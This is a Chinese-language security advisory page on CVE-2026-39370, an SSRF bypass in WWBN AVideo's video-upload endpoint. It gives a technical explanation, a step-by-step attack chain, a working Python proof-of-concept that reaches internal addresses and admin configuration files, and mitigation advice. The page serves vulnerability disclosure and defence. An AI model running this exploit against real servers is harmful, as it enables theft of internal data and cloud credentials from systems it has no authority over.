IPBUF安全漏洞报告
English
CVE-2026-39370 CVSS 7.1 高危

CVE-2026-39370: AVideo平台SSRF绕过漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-39370
漏洞类型
服务端请求伪造 (SSRF)
CVSS评分
7.1 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
WWBN AVideo

相关标签

SSRFAVideoBypassInformation DisclosureCWE-918

漏洞概述

WWBN AVideo是一个开源视频平台。在26.0及之前版本中,`objects/aVideoEncoder.json.php`文件存在安全缺陷。攻击者可以通过控制`downloadURL`参数,利用常见的媒体或压缩包后缀名(如.mp4, .zip等)绕过SSRF验证机制。服务器会获取该URL的响应并将其存储为媒体内容。这使得经过身份认证的上传者能够利用“通过URL上传”的功能,将其转化为可靠的SSRF响应泄露原语。该漏洞是由于对CVE-2026-27732的修复不完整导致的。

技术细节

该漏洞的核心在于WWBN AVideo `objects/aVideoEncoder.json.php`中对`downloadURL`参数的校验逻辑存在缺陷。尽管开发者试图修复之前的SSRF漏洞(CVE-2026-27732),但修复并不完整。系统仅检查URL的后缀名是否为允许的媒体格式(如.mp4, .mp3, .zip, .jpg, .png, .gif, .webm),而未对URL指向的目标地址进行严格的内网IP或协议限制。攻击者只需构造一个指向内网敏感资源(如http://169.254.169.254/latest/meta-data/或内网管理后台)的URL,并在URL末尾附加允许的后缀名(例如 `?file=.jpg` 或特定的路径混淆),即可欺骗服务器发起请求。服务器验证后缀通过后,会代理请求该目标地址,获取响应内容并保存。攻击者随后可以下载处理后的文件,从而读取内网服务的响应数据。这种利用方式将原本的文件上传功能转化为SSRF攻击向量,实现了内网信息的泄露。

攻击链分析

STEP 1
侦察
识别目标是否使用WWBN AVideo平台,且版本在26.0及以下。
STEP 2
认证
攻击者注册或获取一个低权限账户(PR:L),因为该功能需要登录用户才能访问。
STEP 3
构造Payload
构造一个指向内网敏感资源(如本地回环地址或元数据服务)的URL,并在URL末尾添加允许的后缀(如.zip或.mp4)以绕过简单的正则检查。
STEP 4
发送请求
向`objects/aVideoEncoder.json.php`发送包含恶意`downloadURL`的POST请求。
STEP 5
数据回传
服务器端脚本验证通过后,请求内网资源并将响应内容作为媒体文件保存。攻击者随后下载该文件以获取敏感信息。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def exploit_ssrf(target_url, attacker_cookie, internal_url): """ Exploit CVE-2026-39370: SSRF in AVideo via downloadURL bypass. The vulnerable endpoint checks for specific extensions (.mp4, .zip, etc.) to validate the URL, allowing requests to internal networks. """ # The endpoint vulnerable to SSRF upload_endpoint = f"{target_url}/objects/aVideoEncoder.json.php" # Payload: Internal resource with an allowed extension appended to bypass validation # Example: Accessing internal admin config using .zip extension bypass_url = f"{internal_url}#.zip" payload = { "downloadURL": bypass_url, "title": "SSRF_Exploit" } headers = { "Cookie": f"PHPSESSID={attacker_cookie}", "User-Agent": "Mozilla/5.0" } try: response = requests.post(upload_endpoint, data=payload, headers=headers, timeout=10) if response.status_code == 200: print("[+] Request sent successfully.") print(f"[+] Server response: {response.text}") print("[+] Check the media library for the exfiltrated file content.") else: print(f"[-] Request failed with status code: {response.status_code}") except Exception as e: print(f"[-] An error occurred: {e}") if __name__ == "__main__": # Configuration TARGET = "http://localhost/avideo" COOKIE = "valid_session_id_here" INTERNAL_TARGET = "http://127.0.0.1/admin/config.php" exploit_ssrf(TARGET, COOKIE, INTERNAL_TARGET)

影响范围

WWBN AVideo <= 26.0

防御指南

临时缓解措施
建议立即升级到修复了该漏洞的最新版本。如果无法立即升级,应在WAF或反向代理层添加规则,拦截对`objects/aVideoEncoder.json.php`接口的请求,或者严格检查请求体中的`downloadURL`是否包含内网IP地址。同时,仅限制受信任的用户使用视频上传功能。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表